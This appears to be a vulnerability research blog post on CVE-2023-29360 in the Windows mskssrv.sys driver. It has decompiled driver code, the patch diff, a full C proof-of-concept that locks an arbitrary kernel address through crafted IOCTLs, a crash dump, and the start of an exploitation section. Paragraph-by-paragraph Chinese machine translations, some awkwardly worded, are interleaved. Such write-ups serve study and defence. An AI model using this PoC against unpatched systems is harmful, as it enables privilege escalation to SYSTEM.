Chaining N-days to Compromise All: Part 3 — Windows Driver LPE: Medium to System

This blog post is the third series about the vulnerabilities used in our 1-day full chain exploit we demonstrated on X. In this blog post, we will present how we elevate the privilege from user to SYSTEM to chain the vulnerability of VMWare. The vulnerability is CVE-2023–29360, a beautiful and powerful logic bug in mskssrv.sys driver.
这篇博文是关于我们在 X 上演示的 1 天全链漏洞利用中使用的漏洞的第三个系列。在这篇博文中,我们将介绍如何将权限从用户提升到系统,以链接 VMWare 的漏洞。该漏洞是 CVE-2023–29360,这是驱动程序中 mskssrv.sys 一个漂亮而强大的逻辑错误。

This vulnerability was used by @Synacktiv in Pwn2Own 2023 Vancouver. This vulnerability has been patched in June, and Fermium-252, our threat intelligence service, has both a PoC and an exploit of this vulnerability since July 2023.
@Synacktiv在 Pwn2Own 2023 Vancouver 中使用了此漏洞。此漏洞已于 6 月修补,自 2023 年 7 月以来,我们的威胁情报服务 Fermium-252 同时存在 PoC 和利用此漏洞。

Memory Descriptor List (MDL)
内存描述符列表 (MDL)

Memory Descriptor List (MDL) is the most important concept of this vulnerability. In MSDN, it says about MDL as follows.
内存描述符列表 (MDL) 是此漏洞最重要的概念。在 MSDN 中,它对 MDL 的描述如下。

An I/O buffer that spans a range of contiguous virtual memory addresses 
can be spread over several physical pages, and these pages can be discontiguous.
The operating system uses a memory descriptor list (MDL) to describe 
the physical page layout for a virtual memory buffer.

As explaining above, MDL is used to describe the mapping of virtual address and physical address, and it is expressed as _MDL structure.
如上所述,MDL用于描述虚拟地址和物理地址的映射,并表示为 _MDL 结构。

0: kd> dt _MDL
nt!_MDL
   +0x000 Next             : Ptr64 _MDL
   +0x008 Size             : Int2B
   +0x00a MdlFlags         : Int2B
   +0x00c AllocationProcessorNumber : Uint2B
   +0x00e Reserved         : Uint2B
   +0x010 Process          : Ptr64 _EPROCESS
   +0x018 MappedSystemVa   : Ptr64 Void
   +0x020 StartVa          : Ptr64 Void
   +0x028 ByteCount        : Uint4B
   +0x02c ByteOffset       : Uint4B

StartVa is the virtual address, ByteOffset is the offset to start, and MappedSystemVa is the mapped virtual address which MDL describes. MappedSystemVa is only valid after locking and mapping through MmProbeAndLockPages and MmMapLockedPagesSpecifyCache, respectively. In addition, the physical page address is located at the end of _MDL structure.
StartVa 是虚拟地址, ByteOffset 是开始的偏移量, MappedSystemVa 并且是 MDL 描述的映射虚拟地址。 MappedSystemVa 仅在分别锁定和映射 MmProbeAndLockPages 和 MmMapLockedPagesSpecifyCache 后才有效。此外,物理页面地址位于结构的 _MDL 末尾。

Generally, the MDL is used like below code.
通常,MDL 的使用方式如下。

PMDL pMDL = NULL;
pMDL = IoAllocateMdl(Address, Size, FALSE, FALSE, NULL);
__try
{
  MmProbeAndLockPages(pMDL, AccessMode, IoReadAccess);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
  IoFreeMdl(pMDL);
  return;
}

PVOID MappingData = MmMapLockedPagesSpecifyCache(pMDL, AccessMode, MmNonCached, NULL, FALSE, NormalPagePriority);

To see the real memory data for the _MDL structure, let’s check the data on WinDbg.
若要查看 _MDL 结构的实际内存数据,让我们检查 WinDbg 上的数据。

0: kd> dt _MDL ffffe78fc266bb30
nt!_MDL
   +0x000 Next             : (null) 
   +0x008 Size             : 0n64
   +0x00a MdlFlags         : 0n139
   +0x00c AllocationProcessorNumber : 1
   +0x00e Reserved         : 0
   +0x010 Process          : (null) 
   +0x018 MappedSystemVa   : 0xffff8001`b72b1008 Void // Mapped Address
   +0x020 StartVa          : 0xffffc082`b38e3000 Void // Virtual Address
   +0x028 ByteCount        : 0x1008
   +0x02c ByteOffset       : 8                        // Offset

0: kd> dq ffffe78fc266bb30 L8
ffffe78f`c266bb30  00000000`00000000 00000001`008b0040
ffffe78f`c266bb40  00000000`00000000 ffff8001`b72b1008
ffffe78f`c266bb50  ffffc082`b38e3000 00000008`00001008
ffffe78f`c266bb60  00000000`00229647 00000000`00220448
                   ^^^^^^^^^^^^^^^^^ 
                   Physical Page Address

0: kd> db 0xffffc082`b38e3000 + 8
ffffc082`b38e3008  00 5d 89 4a 00 00 00 00-60 00 00 00 02 00 00 00  .].J....`.......
ffffc082`b38e3018  90 0e 01 00 00 00 05 00-d4 0e 01 00 00 00 04 00  ................
ffffc082`b38e3028  a0 5c 89 4a 00 00 00 00-5e 5f 50 0e a2 84 da 01  .\.J....^_P.....
ffffc082`b38e3038  00 01 00 80 00 00 00 00-00 00 00 00 26 00 00 00  ............&...
ffffc082`b38e3048  22 00 3c 00 73 00 65 00-74 00 74 00 69 00 6e 00  ".<.s.e.t.t.i.n.
ffffc082`b38e3058  67 00 73 00 2e 00 64 00-61 00 74 00 2e 00 4c 00  g.s...d.a.t...L.
ffffc082`b38e3068  4f 00 47 00 32 00 00 00-30 00 2d 00 31 00 38 00  O.G.2...0.-.1.8.
ffffc082`b38e3078  37 00 32 00 31 00 34 00-35 00 36 00 31 00 31 00  7.2.1.4.5.6.1.1.

0: kd> !db 00229647*1000 + 8
#229647008 00 5d 89 4a 00 00 00 00-60 00 00 00 02 00 00 00 .].J....`.......
#229647018 90 0e 01 00 00 00 05 00-d4 0e 01 00 00 00 04 00 ................
#229647028 a0 5c 89 4a 00 00 00 00-5e 5f 50 0e a2 84 da 01 .\.J....^_P.....
#229647038 00 01 00 80 00 00 00 00-00 00 00 00 26 00 00 00 ............&...
#229647048 22 00 3c 00 73 00 65 00-74 00 74 00 69 00 6e 00 ".<.s.e.t.t.i.n.
#229647058 67 00 73 00 2e 00 64 00-61 00 74 00 2e 00 4c 00 g.s...d.a.t...L.
#229647068 4f 00 47 00 32 00 00 00-30 00 2d 00 31 00 38 00 O.G.2...0.-.1.8.
#229647078 37 00 32 00 31 00 34 00-35 00 36 00 31 00 31 00 7.2.1.4.5.6.1.1.

0: kd> db 0xffff8001`b72b1008
ffff8001`b72b1008  00 5d 89 4a 00 00 00 00-60 00 00 00 02 00 00 00  .].J....`.......
ffff8001`b72b1018  90 0e 01 00 00 00 05 00-d4 0e 01 00 00 00 04 00  ................
ffff8001`b72b1028  a0 5c 89 4a 00 00 00 00-5e 5f 50 0e a2 84 da 01  .\.J....^_P.....
ffff8001`b72b1038  00 01 00 80 00 00 00 00-00 00 00 00 26 00 00 00  ............&...
ffff8001`b72b1048  22 00 3c 00 73 00 65 00-74 00 74 00 69 00 6e 00  ".<.s.e.t.t.i.n.
ffff8001`b72b1058  67 00 73 00 2e 00 64 00-61 00 74 00 2e 00 4c 00  g.s...d.a.t...L.
ffff8001`b72b1068  4f 00 47 00 32 00 00 00-30 00 2d 00 31 00 38 00  O.G.2...0.-.1.8.
ffff8001`b72b1078  37 00 32 00 31 00 34 00-35 00 36 00 31 00 31 00  7.2.1.4.5.6.1.1.

As shown in the above, the data pointed by the virtual address and physical address is the same, which means MDL maps the physical address and virtual address.
如上图所示,虚拟地址和物理地址指向的数据是相同的,这意味着MDL映射了物理地址和虚拟地址。

CVE-2023–29360

This vulnerability exists in the mskssrv.sys driver. This driver is used for processing the streaming data, such as camera device, in kernel mode.
mskssrv.sys 驱动程序中存在此漏洞。此驱动程序用于在内核模式下处理流数据,例如相机设备。

To find the device path for communicating to this driver, we checked FrameService, the service handles the streaming data. In the service dll, FrameService.dll, we can find the code that gets the device handle of mskssrv.sys driver.
为了找到与此驱动程序通信的设备路径,我们检查 FrameService 了 ,该服务处理流数据。在服务 dll 中, FrameService.dll 我们可以找到获取 mskssrv.sys 驱动程序的设备句柄的代码。

__int64 __fastcall MSKSSrv_GetHandle(_QWORD *phandle){
  ...
  result = CM_Get_Device_Interface_ListW(&GUID_3c0d501a_140b_11d1_b40f_00a0c9223196, 0i64, buffer, bufferlen, 0);
  if ( !result && *buffer){
    handle = CreateFileW(buffer, 0xC0000000, 0, 0i64, 3u, 0x80u, 0i64);
    if ( handle != (HANDLE)-1i64 )
    {
      *phandle = handle;
      result = 0i64;
    }
  ...
}

From this code, we can see the device path is \\?\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}
从这段代码中,我们可以看到设备路径是 \\?\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}

Calling DeviceIoControl API on this driver will trigger the mskssrv!SrvDispatchIoControl function.
在此驱动程序上调用 DeviceIoControl API 将触发该 mskssrv!SrvDispatchIoControl 函数。

__int64 __fastcall SrvDispatchIoControl(__int64 deviceObj, IRP *irp)
{
  ioctlcode = irp->Tail.Overlay.CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode;
  switch(ioctlcode){
    case 0x2F0408:
      RendezvousServerObj = NULL
      KeWaitForSingleObject(&Mutex, Executive, 0, 0, 0i64);
      result = FSGetRendezvousServer(&RendezvousServerObj);
      if ( result >= 0 )
      {
        result = FSRendezvousServer::PublishTx(RendezvousServerObj, irp); // PublishTx
        FSRendezvousServer::Release(RendezvousServerObj);
      }
    ...
    case 0x2F0410:
      RendezvousServerObj = NULL
      KeWaitForSingleObject(&Mutex, Executive, 0, 0, 0i64);
      result = FSGetRendezvousServer(&RendezvousServerObj);
      if ( result >= 0 )
      {
        result = FSRendezvousServer::ConsumeTx(RendezvousServerObj, irp); // ConsumeTx
        FSRendezvousServer::Release(RendezvousServerObj);
      }
  ...

SrvDispatchIoControl calls appropriate function according to IoControlCode of DeviceIoControl. When IoControlCode is 0x2F0408FSRendezvousServer::PublishTx is called, and FSRendezvousServer::PublishTx calls FSStreamReg::PublishTx again.
SrvDispatchIoControl 根据 IoControlCode 调用 DeviceIoControl 适当的函数。何时 IoControlCode 调用 0x2F0408 , FSRendezvousServer::PublishTx 并 FSRendezvousServer::PublishTx 再次调用 FSStreamReg::PublishTx 。

__int64 __fastcall FSStreamReg::PublishTx(FSStreamReg *FsStreamRegObj, __int64 data)
{
  // [1]. Validate Input Buffer
  result = FSStreamReg::CheckRecycle(FsStreamRegObj, data);
  if ( result < 0 )
    return result;
  // [2]. Repeat until `data+0x24`
  for ( idx = 0; idx < *(data + 0x24); ++idx )
  {
    offset = 0x88i64 * idx;
    if ( *(offset + data + 0x70) )
    {
      // Allocate memory
      buffer = operator new(0xD8ui64, unknown, 0x736C644Du);
      if ( buffer )
      {
        *(buffer + 16) = 0;
        *(buffer + 208) = 0;
        memset((buffer + 24), 0, 0xB8ui64);
      }
      else
      {
        return 0xC000009A;
      }
      // [3]. Allocate MDL by using user supplied data
      result = FSFrameMdl::AllocateMdl(buffer, offset + data + 0x28);
      if ( result < 0 )
      {
        // ERROR
      }
      // [4]. insert the MDL to FSFrameMdlList in FsStreamRegObject
      FSFrameMdlList::InsertTail((FsStreamRegObj + 0xC8), buffer);
      ...
    }
  }
  ...
}

After validating the user supplied value ([1]), FSStreamReg::PublishTx processes the user data by looping as many times as Count at data+0x24([2]). The MDL is allocated via FSFrameMdl::AllocateMdl with user-supplied data([3]), and the MDL information is inserted to the published list in FsStreamRegObject([4]).
验证用户提供的值 ( [1] ) 后, FSStreamReg::PublishTx 通过循环 Count data+0x24 ( ) 的次数来处理用户数据 [2] 。MDL 通过 FSFrameMdl::AllocateMdl 用户提供的数据 ( [3] ) 进行分配,MDL 信息插入到 ( [4] ) 中的 FsStreamRegObject 已发布列表中。

Among these, let’s take a closer look at the code of the FSFrameMdl::AllocateMdl function.
其中,让我们仔细看看 FSFrameMdl::AllocateMdl 函数的代码。

__int64 __fastcall FSFrameMdl::AllocateMdl(FSFrameMdl *FsFrameMdlobj, __int64 user_data)
{
  // [5]. Copy User Data
  HandleInformation = 0i64;
  Object = 0i64;
  memcpy(FsFrameMdlobj + 0x18, user_data, 0x88);
  mapflag = *(user_data + 0x48);
  if ( !mapflag )
  {
    // Omitted
  }
  switch(mapflag){
    case 4:
    case 8:
      // [*] Create MDL by using user supplied data
      result = FsAllocAndLockMdl(*(user_data + 0x20), *(user_data + 0x34), FsFrameMdlobj + 0xA0);
      if(result < 0){ /* ERROR */ }
    case 1:
      // [*] Create MDL by using user supplied data
      result = FsAllocAndLockMdl(*(user_data + 0x38), *(user_data + 0x44), FsFrameMdlobj + 0xB0);
      if(result < 0){ /* ERROR */ }
    ...
  }
  ...
}

FSFrameMdl::AllocateMdl copies user data into the kernel buffer (FsFrameMdlobj) at [5], and calls FsAllocAndLockMdl with user-controllable arguments.
FSFrameMdl::AllocateMdl 将用户数据复制到 的内核缓冲区 ( FsFrameMdlobj ) 中 [5] ,并使用用户可控参数进行调用 FsAllocAndLockMdl 。

__int64 __fastcall FsAllocAndLockMdl(void *address, ULONG size, _MDL **mdl_object)
{
  if ( !address || !size || !mdl_object )
    return 0xC000000D;
  // [6]. Allocate MDL
  Alloc_Mdl = IoAllocateMdl(address, size, 0, 0, 0i64);
  if ( !Alloc_Mdl )
    return 0xC000009A;
  // [7]. Probe and Lock MDL with "KernelMode (0)"
  MmProbeAndLockPages(Alloc_Mdl, 0, IoWriteAccess);
  *mdl_object = Alloc_Mdl;
  return 0;
}

FsAllocAndLockMdl allocates the MDL via IoAllocateMdl ([6]), and locks the MDL area via MmProbeAndLockPages with IoWriteAccess permission ([7]). However, when calling MmProbeAndLockPages, the second argument, AccessMode, is set to KernelMode(0). If the AccessMode is KernelMode(0), the validation for the address is skipped.
FsAllocAndLockMdl 通过 IoAllocateMdl ( [6] ) 分配 MDL,并在允许 ( ) 的情况下 IoWriteAccess 锁定 MDL 区域 [7] 。 MmProbeAndLockPages 但是,在调用 MmProbeAndLockPages 时,第二个参数 AccessMode 设置为 KernelMode(0) 。如果为 AccessMode KernelMode(0) ,则跳过对地址的验证。

// MmProbeAndLockPages -> MiProbeAndLockPages-> MiProbeAndLockPrepare
__int64 __fastcall MiProbeAndLockPrepare(__int64 buffer, PMDL MemoryDescriptorList, unsigned __int64 address, unsigned int size, char AccessMode, int is_read, int flag)
{
  v8 = is_read;
  v10 = address + size;
  *(_QWORD *)(buffer + 72) = KeGetCurrentThread();
  v56 = 0;
  *(_QWORD *)(buffer + 56) = MemoryDescriptorList;
  *(_DWORD *)(buffer + 88) = is_read;
  *(_QWORD *)buffer = address; // Base Address
  *(_QWORD *)(buffer + 8) = address + size; // Start Address

  // Check Address with the AccessMode==UserMode(1)
  if ( AccessMode ){
    if ( address + size > 0x7FFFFFFF0000i64 || address >= address + size )
    {
      ++dword_140C4E5F8;
      return 0xC0000005;
    }
  }
  ...
}

As shown in above code, the address will only be validated if the AccessMode is UserMode(1). That is, we can lock MDL with an arbitrary address including the kernel address space from a user application.
如上面的代码所示,仅当 AccessMode 为 时 UserMode(1) ,才会验证地址。也就是说,我们可以用任意地址锁定 MDL,包括来自用户应用程序的内核地址空间。

The Patch of CVE-2023–29360
CVE-2023–29360 补丁

Compared module and versions : ntoskrnl.exe(x64), 10.0.19041.2913, 10.0.19041.3086
比较模块和版本:ntoskrnl.exe(x64)、10.0.19041.2913、10.0.19041.3086

__int64 __fastcall FsAllocAndLockMdl(void *address, ULONG size, _MDL **mdl_object)
{
  if ( !address || !size || !mdl_object )
    return 0xC000000D;
  Alloc_Mdl = IoAllocateMdl(address, size, 0, 0, 0i64);
  if ( !Alloc_Mdl )
    return 0xC000009A;
  
-  MmProbeAndLockPages(Alloc_Mdl, 0, IoWriteAccess);
+  MmProbeAndLockPages(Alloc_Mdl, 1, IoWriteAccess); // Change the AccessMode to UserMode
  *mdl_object = Alloc_Mdl;
  return 0;
}

The patch is very simple. When locking the page, the second argument, AccessMode, is changed to UserMode(1). If the AccessMode is UserModeMmProbeAndLockPages will check the address is placed in the user memory space (The address should be less than 0x7FFFFFFF0000).
补丁非常简单。锁定页面时,第二个参数 AccessMode ,将更改为 UserMode(1) 。如果是 AccessMode UserMode , MmProbeAndLockPages 则检查地址是否放置在用户内存空间中(地址应小于 0x7FFFFFFF0000 )。

Reaching Vulnerable Code 到达易受攻击的代码

To trigger this vulnerability, we need to satisfy the condition to reach the vulnerable code.
要触发此漏洞,我们需要满足到达易受攻击代码的条件。

__int64 __fastcall SrvDispatchIoControl(__int64 deviceObj, IRP *irp)
{
  ioctlcode = irp->Tail.Overlay.CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode;
  switch(ioctlcode){
    case 0x2F0408:
      RendezvousServerObj = NULL
      KeWaitForSingleObject(&Mutex, Executive, 0, 0, 0i64);
      result = FSGetRendezvousServer(&RendezvousServerObj); // [*] should be succeeded
      if ( result >= 0 )
      {
        result = FSRendezvousServer::PublishTx(RendezvousServerObj, irp); // PublishTx
        FSRendezvousServer::Release(RendezvousServerObj);
      }

First, FSGetRendezvousServer should successfully retrieve the RendezvousServerObj without errors ([*]).
首先, FSGetRendezvousServer 应该成功检索到 RendezvousServerObj 没有错误 ( [*] )。

__int64 __fastcall FSGetRendezvousServer(struct FSRendezvousServer **RendezvousServerObjPtr)
{
  result = 0;
  if ( ServerObj_1C0005048 )
  {
    // Store ServerObj_1C0005048 to RendezvousServerObjPtr
    *RendezvousServerObjPtr = ServerObj_1C0005048;
    _InterlockedIncrement(ServerObj_1C0005048);
  }
  else
  {
    result = 0xC0000010;
  }
  KeReleaseMutex(&Mutex, 0);
  return v2;
}

As shown in above code, FSRendezvousServer object is from a global variable, ServerObj_1C0005048ServerObj_1C0005048 is set up in FSInitializeContextRendezvous, and it is called when IoControlCode is 0x2F0400.
如上面的代码所示, FSRendezvousServer object 来自全局变量 ServerObj_1C0005048 。 ServerObj_1C0005048 设置在 中 FSInitializeContextRendezvous ,当 IoControlCode 是 0x2F0400 时调用。

__int64 __fastcall FSInitializeContextRendezvous(struct _IRP *a1)
{
  ...
  RendezvousServerObj = operator new(0xA0ui64, v3, 0x73767A52u);
  if(RendezvousServerObj){
    // Initializing RendezvousServerObj 
  }
  ServerObj_1C0005048 = RendezvousServerObj;
  ...
}

Next, let’s look at the conditions that should be met to trigger the target function FsAllocAndLockMdl in the entry function, FSRendezvousServer::PublishTx.
接下来,我们来看看在入口函数中触发目标函数 FsAllocAndLockMdl 需要满足的条件 FSRendezvousServer::PublishTx 。

__int64 __fastcall FSRendezvousServer::PublishTx(FSRendezvousServer *this, struct _IRP *irp)
{
  ...
  // Validate input buffer
  data = (__int64)irp->AssociatedIrp.MasterIrp;
  if ( !data )
    return 0xC000000D;
  inputbufferlen = v2->Parameters.DeviceIoControl.InputBufferLength;
  if ( (unsigned int)inputbufferlen < 0xB0 )
    return 0xC000000D;
  cnt = *(_DWORD *)(data + 0x20);
  if ( cnt - 1 > 0x12B || *(_DWORD *)(data + 0x24) > cnt || inputbufferlen < 0x88 * (unsigned __int64)(cnt - 1) + 0xB0 )
    return 0xC000000D;
  FSRendezvousServer::Lock(this);

  FsContext2 = (const struct FSRegObject *)obj->FileObject->FsContext2;
  // [*] Find the "FsContext2" is in the FSRendezvousServer object
  isfindobj = FSRendezvousServer::FindObject(this, FsContext2);
  KeReleaseMutex((PRKMUTEX)((char *)this + 8), 0);
  if ( isfindobj )
  {
    (*(void (__fastcall **)(const struct FSRegObject *))(*(_QWORD *)FsContext2 + 0x38i64))(FsContext2);// Lock FsStreamReg
    // [8]. Call FSStreamReg::PublishTx
    result = FSStreamReg::PublishTx(FsContext2, data);

First, FSRendezvousServer::PublishTx validates the user-supplied data. These conditions are easy to satisfy because the data is fully controllable. And then, it calls FSRendezvousServer::FindObject to check the obj->FileObject->FsContext2 is in FSRendezvousServer. Only when FSRendezvousServer::FindObject finds the FsContext2 in FSRendezvousServerFSStreamReg::PublishTx is called ([8]).
首先, FSRendezvousServer::PublishTx 验证用户提供的数据。这些条件很容易满足,因为数据是完全可控的。然后,它调用 FSRendezvousServer::FindObject 以检查 obj->FileObject->FsContext2 is in FSRendezvousServer . FSRendezvousServer::FindObject 只有当找到 in FSRendezvousServer 时 FsContext2 , FSStreamReg::PublishTx 才称为 ( [8] )。

We can infer that FsContext2 is the type of FSStreamReg object from the fact that FsContext2 is used as the this value of FSStreamReg::PublishTx ([8]).
我们可以从用作 ( ) 值的事实中推断出 FsContext2 这是对象的 FSStreamReg 类型 [8] 。 FsContext2 this FSStreamReg::PublishTx

Therefore, we need to find the function creates FSStreamReg object and saves the object address to obj->FileObject->FsContext2. That function is FSRendezvousServer::InitializeStream, which is as follows.
因此,我们需要找到函数创建 FSStreamReg 对象并将对象地址保存到 obj->FileObject->FsContext2 。该函数是 FSRendezvousServer::InitializeStream ,如下所示。

__int64 __fastcall FSRendezvousServer::InitializeStream(FSRendezvousServer *this, struct _IRP *irp)
{
  obj = irp->Tail.Overlay.CurrentStackLocation;
  if ( obj->Parameters.DeviceIoControl.IoControlCode != 0x2F0404 || obj->FileObject->FsContext2 )
  {
    result = 0xC0000010;
  }
  else
  {
    
    data = (__int64)irp->AssociatedIrp.MasterIrp;
    /**
     Validate User Data
    **/
    
    // Allocate Buffer
    buffer = (FSStreamReg *)operator new(0x1D8ui64, (enum _POOL_TYPE)irp, 0x67657253u);
    if ( buffer )
      FSStreamReg_obj = (volatile signed __int32 *)FSStreamReg::FSStreamReg(buffer); // Setup FSStreamReg
    if ( !FSStreamReg_obj )
      return 0xC000009A;
    
    // Initialize FSStreamReg
    if ( (unsigned int)Feature_Servicing_TeamsUsingMediaFoundationCrashes__private_IsEnabled() )
      result = FSStreamReg::Initialize((FSStreamReg *)FSStreamRegObj, irp, v11, data, irp->RequestorMode);
    else
      result = FSStreamReg::Initialize((FSStreamReg *)FSStreamRegObj, v10, data, irp->RequestorMode);

    ...
    // [*] Save FSStreamReg_obj to FsContext2
    obj->FileObject->FsContext2 = (PVOID)FSStreamReg_obj;
    _InterlockedIncrement(FSStreamReg_obj + 6);
    ...

FSRendezvousServer::InitializeStream can be called when IoControlCode is 0x2F0404.
FSRendezvousServer::InitializeStream 当 IoControlCode 是 0x2F0404 时 ,可以调用 。

In sum up, the final PoC code would be like this.
总而言之,最终的PoC代码将是这样的。

#include <windows.h>
#include <winternl.h>
#include <cfgmgr32.h>
#include <stdio.h>

#pragma comment(lib, "Cfgmgr32.lib")

#define inputsize 0x100
#define outputsize 0x100

int main() {

  WCHAR DeviceLink[256] = L"\\\\?\\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}";
  HANDLE hDevice = NULL;
  NTSTATUS ntstatus = 0;
  hDevice = CreateFile(
    DeviceLink,
    GENERIC_READ | GENERIC_WRITE,
    0,
    NULL,
    OPEN_EXISTING,
    0x80,
    NULL
  );

  PCHAR inputBuffer = (PCHAR)malloc(inputsize);
  PCHAR outputBuffer = (PCHAR)malloc(outputsize);
  memset(inputBuffer, 0, inputsize);
  memset(outputBuffer, 0, outputsize);

  printf("[+] Initialize Rendezvous\n");
  memset(inputBuffer, 0, inputsize);
  *(DWORD*)(inputBuffer + 0x00) = 0xffffffff; // &1 == Non ZERO
  *(DWORD64*)(inputBuffer + 0x08) = 0; // NON ZERO
  *(DWORD64*)(inputBuffer + 0x10) = 0; // NON ZERO
  *(DWORD64*)(inputBuffer + 0x18) = 0; // 0
  ntstatus = DeviceIoControl(hDevice, 0x2F0400, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); // FSInitializeContextRendezvous
  
  printf("[+] Initialize Stream\n");
  memset(inputBuffer, 0, inputsize);
  *(DWORD*)(inputBuffer + 0x00) = 0xffffffff; // &1 == Non ZERO
  *(DWORD64*)(inputBuffer + 0x08) = GetCurrentProcessId(); // NON ZERO
  *(DWORD64*)(inputBuffer + 0x10) = 0x4343434344444444; // NON ZERO
  *(DWORD*)(inputBuffer + 0x1C) = 4; // -4 <= 0x74
  *(DWORD*)(inputBuffer + 0x20) = 0x4000; // -0x4000 <= 0x7C000
  *(HANDLE*)(inputBuffer + 0x28) = CreateEvent(NULL, FALSE, FALSE, NULL); // EVENT HANDLE
  ntstatus = DeviceIoControl(hDevice, 0x2F0404, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); // Initalize Stream
  
  ULONG_PTR targetaddr = 0xffffffff00031337;
  printf("[+] Trigger Vulnerability, Publish Tx ==> MDL with Arbitrary Addr: %p\n", targetaddr);
  memset(inputBuffer, 0, inputsize);
  *(DWORD*)(inputBuffer + 0x20) = 1; // maxCnt
  *(DWORD*)(inputBuffer + 0x24) = 1; // CNT <= maxCnt 
  *(DWORD*)(inputBuffer + 0x28) = 1; // CNT <= maxCnt 
  *(DWORD64*)(inputBuffer + 0x28 + 0x20) = (DWORD64)targetaddr; // Addr1
  *(DWORD*)(inputBuffer + 0x28 + 0x34) = 0x1000; // SIZE1
  *(DWORD64*)(inputBuffer + 0x28 + 0x38) = (DWORD64)targetaddr; // Addr2
  *(DWORD*)(inputBuffer + 0x28 + 0x44) = 0x1000; // SIZE2
  *(DWORD64*)(inputBuffer + 0x70) = 0x8; // flag : (BYTE)(1,4,8)
  ntstatus = DeviceIoControl(hDevice, 0x2F0408, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); // PublishTx
}
KDTARGET: Refreshing KD connection

*** Fatal System Error: 0x00000050
                       (0xFFFFFFFF00031337,0x0000000000000002,0xFFFFBE8223684321,0x0000000000000002)

Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

rax=0000000000000000 rbx=0000000000000003 rcx=0000000000000003
rdx=000000000000008a rsi=0000000000000000 rdi=fffff8001db9a180
rip=fffff8001f805240 rsp=ffffbe8223683898 rbp=ffffbe8223683a00
 r8=0000000000000065  r9=0000000000000000 r10=0000000000000000
r11=0000000000000010 r12=0000000000000003 r13=ffffffff00031337
r14=0000000000000000 r15=ffff850b8e13a080
iopl=0         nv up ei ng nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040286
nt!DbgBreakPointWithStatus:
fffff800`1f805240 cc              int     3

...

0: kd> kb
 # RetAddr               : Args to Child                                                           : Call Site
00 fffff800`1f9162f2     : ffffbe82`23683a00 fffff800`1f77f010 00000000`00000000 00000000`00000000 : nt!DbgBreakPointWithStatus
01 fffff800`1f9158d6     : 00000000`00000003 ffffbe82`23683a00 fffff800`1f813040 00000000`00000050 : nt!KiBugCheckDebugBreak+0x12
02 fffff800`1f7fbda7     : 00000000`00000000 00000000`00000000 ffffffff`00031337 fffff800`1db9a180 : nt!KeBugCheck2+0x946
03 fffff800`1f84ac53     : 00000000`00000050 ffffffff`00031337 00000000`00000002 ffffbe82`23684321 : nt!KeBugCheckEx+0x107
04 fffff800`1f66e7b0     : 00000000`00000000 00000000`00000002 ffffbe82`23684339 00000000`00000000 : nt!MiSystemFault+0x1b2273
05 fffff800`1f716f3c     : ffff850b`8e9ef000 fffff800`1f6131b5 ffffffff`ffffffff ffffbe82`00000002 : nt!MmAccessFault+0x400
06 fffff800`1f66c9b7     : 00000000`00000000 ffffaa55`2a9fffe0 ffffbe82`23684450 ffffaa55`2a954aa0 : nt!MiFaultInProbeAddress+0xbc
07 fffff800`1f66bcd3     : 00000000`00000000 00000000`00000000 ffffbe82`236844c9 ffffffff`00031337 : nt!MiLockPageLeafPageTable+0x2b7
08 fffff800`1f66aa59     : 00000000`00000000 ffff850b`8ea172f0 00000000`00000000 00000000`00000000 : nt!MiProbeAndLockPages+0x153
09 fffff800`3e402c98     : ffff850b`8e9ef170 00000000`00000000 00000000`00000200 00000000`00000000 : nt!MmProbeAndLockPages+0x29
0a fffff800`3e40b824     : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : MSKSSRV!FsAllocAndLockMdl+0x64
0b fffff800`3e40c63d     : 00000000`00000000 00000000`00000000 ffff850b`8e9ef170 00000000`00000000 : MSKSSRV!FSFrameMdl::AllocateMdl+0x140
0c fffff800`3e40a7e9     : 00000000`00000001 ffff850b`8f3ce9e8 ffff850b`8f3ce7b0 ffff850b`8e8a05f0 : MSKSSRV!FSStreamReg::PublishTx+0x9d
0d fffff800`3e409513     : 00000000`00000000 ffffbe82`236846f0 ffff850b`8f3ce7b0 ffff850b`88405900 : MSKSSRV!FSRendezvousServer::PublishTx+0xdd
0e fffff800`27e7dddc     : ffff850b`8f3ce7b0 ffff850b`8bb86430 ffff850b`8f3cea30 00000000`00000fff : MSKSSRV!SrvDispatchIoControl+0x143
...

Exploitation 开发

In the PoC, we demonstrate just locking arbitrary address. To exploit this primitive, we need to map the manipulated MDL.
在 PoC 中,我们演示了仅锁定任意地址。为了利用这个原语,我们需要映射纵的 MDL。

FSFrameMdl::MapPages is the function which maps the MDL. FSFrameMdl::MapPages can be accessible from FSRendezvousServer::ConsumeTx, which is called when IoControlCode is 0x2F0410, and it calls FSStreamReg::ConsumeTx internally.
FSFrameMdl::MapPages 是映射 MDL 的函数。 FSFrameMdl::MapPages FSRendezvousServer::ConsumeTx 可以从 访问,当 IoControlCode 是 0x2F0410 时调用,并在内部调用 FSStreamReg::ConsumeTx 。

__int64 __fastcall FSStreamReg::ConsumeTx(__int64 FsStreamReg, __int64 data)
{
  if ( !data || !*(_DWORD *)(data + 0x20) )
    return (unsigned int)-1073741811;
  
  // [9]. Check the flag in FsStreamReg Object
  if ( (unsigned int)Feature_Servicing_TeamsUsingMediaFoundationCrashes__private_IsEnabled()
    && (!*(_DWORD *)(FsStreamReg + 0x28) || !*(_DWORD *)(FsStreamReg + 0x2C)) )
  {
    return 0xC0000466;
  }
  *(_DWORD *)(data + 0x24) = 0;
  list = (_QWORD *)(FsStreamReg + 0x110);
  if ( (_QWORD *)*list != list ) // Check List is Empty
  {
    while ( 1 )
    {
      // [10]. Get FsFrameMdl from Published List
